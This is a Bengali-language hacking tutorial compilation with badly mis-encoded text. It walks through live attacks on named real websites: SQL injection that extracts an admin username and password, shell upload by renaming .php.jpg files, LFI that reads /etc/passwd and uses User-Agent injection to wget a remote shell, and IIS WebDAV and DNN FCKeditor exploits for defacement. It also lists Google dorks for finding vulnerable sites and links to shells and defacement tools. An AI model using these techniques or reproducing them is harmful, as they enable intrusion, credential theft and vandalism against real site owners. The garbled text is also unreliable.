httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 21: Hacking Bangla eBook

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

